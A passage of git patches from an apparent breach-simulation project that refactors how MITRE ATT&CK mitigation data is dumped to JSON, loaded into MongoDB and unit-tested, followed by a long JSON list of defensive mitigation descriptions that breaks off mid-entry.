Salvatore Date: Wed, 29 Sep 2021 09:29:36 -0400 Subject: [PATCH 283/454] Deployment: Move dump_attack_mitigations into a subdirectory --- .../{ => dump_attack_mitigations}/attack_mitigations.py | 0 .../{ => dump_attack_mitigations}/dump_attack_mitigations.py | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename deployment_scripts/{ => dump_attack_mitigations}/attack_mitigations.py (100%) rename deployment_scripts/{ => dump_attack_mitigations}/dump_attack_mitigations.py (100%) diff --git a/deployment_scripts/attack_mitigations.py b/deployment_scripts/dump_attack_mitigations/attack_mitigations.py similarity index 100% rename from deployment_scripts/attack_mitigations.py rename to deployment_scripts/dump_attack_mitigations/attack_mitigations.py diff --git a/deployment_scripts/dump_attack_mitigations.py b/deployment_scripts/dump_attack_mitigations/dump_attack_mitigations.py similarity index 100% rename from deployment_scripts/dump_attack_mitigations.py rename to deployment_scripts/dump_attack_mitigations/dump_attack_mitigations.py From c93d5037b27ccfba2261094cbba1f0c1b5296b5d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 29 Sep 2021 10:05:53 -0400 Subject: [PATCH 284/454] Island: Remove unused attack mitigations import code --- .../cc/models/attack/__init__.py | 1 + .../cc/models/attack/attack_mitigations.py | 38 ++----------------- .../cc/models/attack/mitigation.py | 13 ++----- .../cc/services/attack/mitre_api_interface.py | 14 ------- 4 files changed, 7 insertions(+), 59 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/attack/mitre_api_interface.py diff --git a/monkey/monkey_island/cc/models/attack/__init__.py b/monkey/monkey_island/cc/models/attack/__init__.py index e69de29bb..692107917 100644 --- a/monkey/monkey_island/cc/models/attack/__init__.py +++ b/monkey/monkey_island/cc/models/attack/__init__.py @@ -0,0 +1 @@ +from monkey_island.cc.models.attack.mitigation import Mitigation diff --git a/monkey/monkey_island/cc/models/attack/attack_mitigations.py b/monkey/monkey_island/cc/models/attack/attack_mitigations.py index 9d09aae5a..9c7964863 100644 --- a/monkey/monkey_island/cc/models/attack/attack_mitigations.py +++ b/monkey/monkey_island/cc/models/attack/attack_mitigations.py @@ -1,12 +1,9 @@ -from typing import Dict - from mongoengine import Document, DoesNotExist, EmbeddedDocumentField, ListField, StringField -from stix2 import AttackPattern, CourseOfAction - -from monkey_island.cc.models.attack.mitigation import Mitigation -from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface +# Note: This model is duplicated in +# deployment_scripts/dump_attack_mitigations/attack_mitigations.py. If the schema changes here, it +# will also need to be changed there. class AttackMitigations(Document): COLLECTION_NAME = "attack_mitigations" @@ -19,32 +16,3 @@ class AttackMitigations(Document): return AttackMitigations.objects.get(technique_id=technique_id) except DoesNotExist: raise Exception("Attack technique with id {} does not exist!".format(technique_id)) - - def add_mitigation(self, mitigation: CourseOfAction): - mitigation_external_ref_id = MitreApiInterface.get_stix2_external_reference_id(mitigation) - if mitigation_external_ref_id.startswith("M"): - self.mitigations.append(Mitigation.get_from_stix2_data(mitigation)) - - def add_no_mitigations_info(self, mitigation: CourseOfAction): - mitigation_external_ref_id = MitreApiInterface.get_stix2_external_reference_id(mitigation) - if mitigation_external_ref_id.startswith("T") and len(self.mitigations) == 0: - mitigation_mongo_object = Mitigation.get_from_stix2_data(mitigation) - mitigation_mongo_object["description"] = mitigation_mongo_object[ - "description" - ].splitlines()[0] - mitigation_mongo_object["url"] = "" - self.mitigations.append(mitigation_mongo_object) - - @staticmethod - def mitigations_from_attack_pattern(attack_pattern: AttackPattern): - return AttackMitigations( - technique_id=MitreApiInterface.get_stix2_external_reference_id(attack_pattern), - mitigations=[], - ) - - @staticmethod - def dict_from_stix2_attack_patterns(stix2_dict: Dict[str, AttackPattern]): - return { - key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern) - for key, attack_pattern in stix2_dict.items() - } diff --git a/monkey/monkey_island/cc/models/attack/mitigation.py b/monkey/monkey_island/cc/models/attack/mitigation.py index 8a0a1f019..aadc9f48c 100644 --- a/monkey/monkey_island/cc/models/attack/mitigation.py +++ b/monkey/monkey_island/cc/models/attack/mitigation.py @@ -1,17 +1,10 @@ from mongoengine import EmbeddedDocument, StringField -from stix2 import CourseOfAction - -from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface +# Note: This model is duplicated in +# deployment_scripts/dump_attack_mitigations/attack_mitigations.py. If the schema changes here, it +# will also need to be changed there. class Mitigation(EmbeddedDocument): name = StringField(required=True) description = StringField(required=True) url = StringField() - - @staticmethod - def get_from_stix2_data(mitigation: CourseOfAction): - name = mitigation["name"] - description = mitigation["description"] - url = MitreApiInterface.get_stix2_external_reference_url(mitigation) - return Mitigation(name=name, description=description, url=url) diff --git a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py deleted file mode 100644 index 48ecb7c9a..000000000 --- a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py +++ /dev/null @@ -1,14 +0,0 @@ -class MitreApiInterface: - @staticmethod - def get_stix2_external_reference_id(stix2_data) -> str: - for reference in stix2_data["external_references"]: - if reference["source_name"] == "mitre-attack" and "external_id" in reference: - return reference["external_id"] - return "" - - @staticmethod - def get_stix2_external_reference_url(stix2_data) -> str: - for reference in stix2_data["external_references"]: - if "url" in reference: - return reference["url"] - return "" From 8c1afcc2b42ca9d8ff5a049f19153346bfd1ff62 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 29 Sep 2021 19:31:35 +0200 Subject: [PATCH 285/454] Island: Add import attack mitigations Also UTs for reset_database from setup mongo. --- .../cc/setup/mongo/database_initializer.py | 20 +++++- .../mongo_mitigations/attack_mitigations.json | 1 + .../mongo_mitigations/invalid_mitigation | 1 + .../attack/test_mitre_api_interface.py | 18 ------ .../setup/mongo/test_database_initializer.py | 61 +++++++++++++++++++ 5 files changed, 80 insertions(+), 21 deletions(-) create mode 100644 monkey/tests/data_for_tests/mongo_mitigations/attack_mitigations.json create mode 100644 monkey/tests/data_for_tests/mongo_mitigations/invalid_mitigation delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py diff --git a/monkey/monkey_island/cc/setup/mongo/database_initializer.py b/monkey/monkey_island/cc/setup/mongo/database_initializer.py index 4e339aad7..761617a08 100644 --- a/monkey/monkey_island/cc/setup/mongo/database_initializer.py +++ b/monkey/monkey_island/cc/setup/mongo/database_initializer.py @@ -1,14 +1,23 @@ +import json import logging +from pathlib import Path from pymongo import errors from monkey_island.cc.database import mongo from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations -from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface from monkey_island.cc.services.database import Database +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH logger = logging.getLogger(__name__) +ATTACK_MITIGATION_PATH = ( + Path(MONKEY_ISLAND_ABS_PATH) + / "cc" + / "setup" + / "mongo" + / f"{AttackMitigations.COLLECTION_NAME}.json" +) def reset_database(): Database.reset_db() @@ -35,5 +44,10 @@ def _try_store_mitigations_on_mongo(): def _store_mitigations_on_mongo(): - # TODO: import attack mitigations - pass + try: + with open(ATTACK_MITIGATION_PATH) as f: + file_data = json.load(f) + mongodb_collection = mongo.db[AttackMitigations.COLLECTION_NAME] + mongodb_collection.insert_many(file_data) + except json.decoder.JSONDecodeError as e: + raise Exception(f"Invalid attack mitigations {ATTACK_MITIGATION_PATH} file: {e}") diff --git a/monkey/tests/data_for_tests/mongo_mitigations/attack_mitigations.json b/monkey/tests/data_for_tests/mongo_mitigations/attack_mitigations.json new file mode 100644 index 000000000..dace1ebec --- /dev/null +++ b/monkey/tests/data_for_tests/mongo_mitigations/attack_mitigations.json @@ -0,0 +1 @@ +[{"_id": "T1066", "mitigations": [{"name": "Indicator Removal from Tools Mitigation", "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.", "url": ""}]}, {"_id": "T1047", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1156", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}] diff --git a/monkey/tests/data_for_tests/mongo_mitigations/invalid_mitigation b/monkey/tests/data_for_tests/mongo_mitigations/invalid_mitigation new file mode 100644 index 000000000..3f18637dc --- /dev/null +++ b/monkey/tests/data_for_tests/mongo_mitigations/invalid_mitigation @@ -0,0 +1 @@ +[{"_id": "T1066", "mitigations": [} diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py b/monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py deleted file mode 100644 index 24f516198..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py +++ /dev/null @@ -1,18 +0,0 @@ -import json -from pathlib import Path - -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH - - -def test_get_all_mitigations(): - attack_mitigation_path = ( - Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "setup" / "mongo" / "attack_mitigations.json" - ) - - with open(attack_mitigation_path) as mitigations: - mitigations = json.load(mitigations) - assert len(mitigations) >= 266 - mitigation = next(iter(mitigations))["mitigations"][0] - assert mitigation["name"] is not None - assert mitigation["description"] is not None - assert mitigation["url"] is not None diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py b/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py new file mode 100644 index 000000000..5388bdd8e --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py @@ -0,0 +1,61 @@ +import json.decoder +from pathlib import Path +from unittest.mock import MagicMock + +import mongomock +import pytest + +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.setup.mongo.database_initializer import reset_database + + +@pytest.fixture +def fake_mongo(monkeypatch): + mongo = mongomock.MongoClient() + monkeypatch.setattr("monkey_island.cc.setup.mongo.database_initializer.mongo", mongo) + monkeypatch.setattr("monkey_island.cc.services.database.mongo", mongo) + return mongo + + +@pytest.fixture +def fake_config(monkeypatch): + monkeypatch.setattr("monkey_island.cc.services.config.ConfigService.init_config", lambda: None) + monkeypatch.setattr("monkey_island.cc.services.attack.attack_config.AttackConfig.reset_config", lambda: None) + monkeypatch.setattr("monkey_island.cc.services.database.jsonify", MagicMock(return_value=True)) + + +def test_store_mitigations_on_mongo(monkeypatch, data_for_tests_dir, fake_mongo, fake_config): + monkeypatch.setattr( + "monkey_island.cc.setup.mongo.database_initializer.ATTACK_MITIGATION_PATH", + Path(data_for_tests_dir) / "mongo_mitigations" / "attack_mitigations.json", + ) + fake_mongo.db.validate_collection = MagicMock(return_value=True) + reset_database() + + assert len(list(fake_mongo.db.attack_mitigations.find({}))) == 3 + + +def test_store_mitigations_on_mongo__invalid_mitigation( + monkeypatch, data_for_tests_dir, fake_mongo, fake_config +): + monkeypatch.setattr( + "monkey_island.cc.setup.mongo.database_initializer.ATTACK_MITIGATION_PATH", + Path(data_for_tests_dir) / "mongo_mitigations" / "invalid_mitigation", + ) + fake_mongo.db.validate_collection = MagicMock(return_value=True) + with pytest.raises(Exception): + reset_database() + + +def test_get_all_mitigations(): + attack_mitigation_path = ( + Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "setup" / "mongo" / "attack_mitigations.json" + ) + + with open(attack_mitigation_path) as mitigations: + mitigations = json.load(mitigations) + assert len(mitigations) >= 266 + mitigation = next(iter(mitigations))["mitigations"][0] + assert mitigation["name"] is not None + assert mitigation["description"] is not None + assert mitigation["url"] is not None From 45c66fe3093b0e1eb489213d5caed07f1c379c39 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 29 Sep 2021 20:20:24 -0400 Subject: [PATCH 286/454] Deployment: Include metadata in attack mitigations json dump --- .../dump_attack_mitigations.py | 50 +++++++++++++++++-- 1 file changed, 46 insertions(+), 4 deletions(-) diff --git a/deployment_scripts/dump_attack_mitigations/dump_attack_mitigations.py b/deployment_scripts/dump_attack_mitigations/dump_attack_mitigations.py index a8c164ca5..c8e2b064a 100755 --- a/deployment_scripts/dump_attack_mitigations/dump_attack_mitigations.py +++ b/deployment_scripts/dump_attack_mitigations/dump_attack_mitigations.py @@ -1,4 +1,7 @@ import argparse +import json +import subprocess +import time from pathlib import Path from typing import Dict, List @@ -21,7 +24,7 @@ def main(): clean_collection(database) populate_attack_mitigations(database, Path(args.cti_repo)) - dump_attack_mitigations(database, Path(args.dump_file_path)) + dump_attack_mitigations(database, Path(args.cti_repo), Path(args.dump_file_path)) def parse_args(): @@ -127,15 +130,54 @@ def get_technique_and_mitigation_relationships(attack_data_path: Path) -> List[C return all_techniques -def dump_attack_mitigations(database: pymongo.database.Database, dump_file_path: Path): +def dump_attack_mitigations( + database: pymongo.database.Database, cti_repo: Path, dump_file_path: Path +): if not collection_exists(database, COLLECTION_NAME): raise Exception(f"Could not find collection: {COLLECTION_NAME}") + metadata = get_metadata(cti_repo) + data = get_data_from_database(database) + + json_output = f'{{"metadata":{json.dumps(metadata)},"data":{json_util.dumps(data)}}}' + + with open(dump_file_path, "wb") as jsonfile: + jsonfile.write(json_output.encode()) + + +def get_metadata(cti_repo: Path) -> dict: + timestamp = str(time.time()) + commit_hash = get_commit_hash(cti_repo) + origin_url = get_origin_url(cti_repo) + + return {"timestamp": timestamp, "commit_hash": commit_hash, "origin_url": origin_url} + + +def get_commit_hash(cti_repo: Path) -> str: + return run_command(["git", "rev-parse", "--short", "HEAD"], cti_repo).strip() + + +def get_origin_url(cti_repo: Path) -> str: + return run_command(["git", "remote", "get-url", "origin"], cti_repo).strip() + + +def run_command(cmd: List, cwd: Path = None) -> str: + cp = subprocess.run(cmd, capture_output=True, cwd=cwd, encoding="utf-8") + + if cp.returncode != 0: + raise Exception( + f"Error running command -- Command: {cmd} -- Return Code: {cp.returncode} -- stderr: " + f"{cp.stderr}" + ) + + return cp.stdout + + +def get_data_from_database(database: pymongo.database.Database) -> pymongo.cursor.Cursor: collection = database.get_collection(COLLECTION_NAME) collection_contents = collection.find() - with open(dump_file_path, "wb") as jsonfile: - jsonfile.write(json_util.dumps(collection_contents).encode()) + return collection_contents if __name__ == "__main__": From 1748955213b8830bacc84afd2f35a20e6a9c631f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 29 Sep 2021 20:20:57 -0400 Subject: [PATCH 287/454] Island: Handle metadata in attack mitigations json --- monkey/monkey_island/cc/services/attack/attack_data | 1 + .../monkey_island/cc/setup/mongo/attack_mitigations.json | 2 +- .../monkey_island/cc/setup/mongo/database_initializer.py | 8 ++++++-- .../mongo_mitigations/attack_mitigations.json | 2 +- .../cc/setup/mongo/test_database_initializer.py | 2 +- 5 files changed, 10 insertions(+), 5 deletions(-) create mode 160000 monkey/monkey_island/cc/services/attack/attack_data diff --git a/monkey/monkey_island/cc/services/attack/attack_data b/monkey/monkey_island/cc/services/attack/attack_data new file mode 160000 index 000000000..fb8942b1a --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/attack_data @@ -0,0 +1 @@ +Subproject commit fb8942b1a10f4e734ed75542f2ccae7cbd72c46d diff --git a/monkey/monkey_island/cc/setup/mongo/attack_mitigations.json b/monkey/monkey_island/cc/setup/mongo/attack_mitigations.json index d851d2435..373b55caa 100644 --- a/monkey/monkey_island/cc/setup/mongo/attack_mitigations.json +++ b/monkey/monkey_island/cc/setup/mongo/attack_mitigations.json @@ -1 +1 @@ -[{"_id": "T1066", "mitigations": [{"name": "Indicator Removal from Tools Mitigation", "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.", "url": ""}]}, {"_id": "T1047", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1156", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1113", "mitigations": [{"name": "Screen Capture Mitigation", "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1067", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Boot Integrity", "description": "Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.", "url": "https://attack.mitre.org/mitigations/M1046"}]}, {"_id": "T1037", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1033", "mitigations": [{"name": "System Owner/User Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1143", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1161", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}]}, {"_id": "T1150", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1148", "mitigations": [{"name": "Environment Variable Permissions", "description": "Prevent modification of environment variables by unauthorized users and groups.", "url": "https://attack.mitre.org/mitigations/M1039"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1003", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Privileged Process Integrity", "description": "Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.", "url": "https://attack.mitre.org/mitigations/M1025"}, {"name": "Credential Access Protection", "description": "Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.", "url": "https://attack.mitre.org/mitigations/M1043"}, {"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": "https://attack.mitre.org/mitigations/M1015"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1129", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1492", "mitigations": [{"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Remote Data Storage", "description": "Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.", "url": "https://attack.mitre.org/mitigations/M1029"}]}, {"_id": "T1006", "mitigations": [{"name": "File System Logical Offsets Mitigation", "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1044", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1171", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1014", "mitigations": [{"name": "Rootkit Mitigation", "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1501", "mitigations": [{"name": "Limit Software Installation", "description": "Block users or groups from installing unapproved software.", "url": "https://attack.mitre.org/mitigations/M1033"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1514", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1123", "mitigations": [{"name": "Audio Capture Mitigation", "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.", "url": ""}]}, {"_id": "T1133", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}]}, {"_id": "T1109", "mitigations": [{"name": "Component Firmware Mitigation", "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique.", "url": ""}]}, {"_id": "T1539", "mitigations": [{"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1099", "mitigations": [{"name": "Timestomp Mitigation", "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1069", "mitigations": [{"name": "Permission Groups Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1114", "mitigations": [{"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1163", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1025", "mitigations": [{"name": "Data from Removable Media Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1116", "mitigations": [{"name": "Code Signing Mitigation", "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)", "url": ""}]}, {"_id": "T1522", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1093", "mitigations": [{"name": "Process Hollowing Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. ", "url": ""}]}, {"_id": "T1172", "mitigations": [{"name": "SSL/TLS Inspection", "description": "Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.", "url": "https://attack.mitre.org/mitigations/M1020"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1178", "mitigations": [{"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": "https://attack.mitre.org/mitigations/M1015"}]}, {"_id": "T1013", "mitigations": [{"name": "Port Monitors Mitigation", "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.", "url": ""}]}, {"_id": "T1192", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1489", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be 